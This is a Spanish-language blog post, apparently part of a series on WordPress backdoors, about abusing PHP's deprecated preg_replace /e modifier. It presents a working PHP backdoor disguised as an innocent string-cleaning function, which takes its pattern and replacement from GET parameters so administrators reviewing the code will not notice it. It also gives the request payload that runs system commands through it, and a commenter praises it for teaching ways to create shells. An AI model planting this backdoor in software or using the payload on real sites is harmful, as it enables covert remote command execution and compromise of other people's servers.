sábado, 15 de marzo de 2014

WordPress Backdoors V: preg_replace /e

¡Saludos!

    Desde hace ya bastante años la función preg_replace ha dado quebraderos de cabeza a la hora de sanear los inputs que recibimos de los usuarios. Hasta la versión 5.4.7 de PHP se podía modificar el comportamiento de preg_replace para poder evaluar una cadena, de tal forma que  si una porción del patrón para remplazar era dada por el usuario podíamos pasarle el parámetro /e junto a un null byte y a continuación una función a ejecutar. Por suerte, si nosotros somos quienes hemos dejado el preg_replace preparado lo tendremos todo resuelto para pasarle ese fatídico "/e" :D

     EL modificador /e está en desuso y desaconsejado por obvias razones, por lo que si lo vemos en un archivo PHP nuestras alarmas van a saltar de forma inmediata. Pero, al igual que hicimos en la cuarta entrega sobre backdoors en WordPress,  si nosotros le pasamos todo lo sospechoso utilizando GET/POST el administrador al mirar el código no se dará cuenta de nada. Ejemplo:

<?php


@$patron = $_GET['patron'];
@$cadena = $_GET['cadena'];
limpiar ($patron, $cadena);

//Soy una inocente función para limpiar cadenas :D
function limpiar($patron, $cadena) {
preg_replace($patron,$cadena,'Inocente :D'); 
}
?>
¿Quien ve el backdoor en esta inocente función para limpiar cadenas? :D hagamos un ?patron=/.*/e&cadena=system("id") y disfrutemos del espectáculo.

  Como ya dije al inicio los trucos con preg_replace y /e son muy antíguos, y en el caso de WordPress, ya se ha avistado su uso en algunos malwares, como fue reportado el año pasado en varios blogs ( http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html ), (http://www.securelist.com/en/blog/208214192/Malware_in_metadata)

Byt3z!
5 0verl0ad Labs: WordPress Backdoors V: preg_replace /e ¡Saludos!     Desde hace ya bastante años la función preg_replace   ha dado quebraderos de cabeza a la hora de sanear los inputs que recib...

1 comentario:

Ivan Inti Morales dijo...

Que tal buenos dias, siempre aprendo nuevos caminos de crear shells con tus post

se agradecen mucho!!!

< >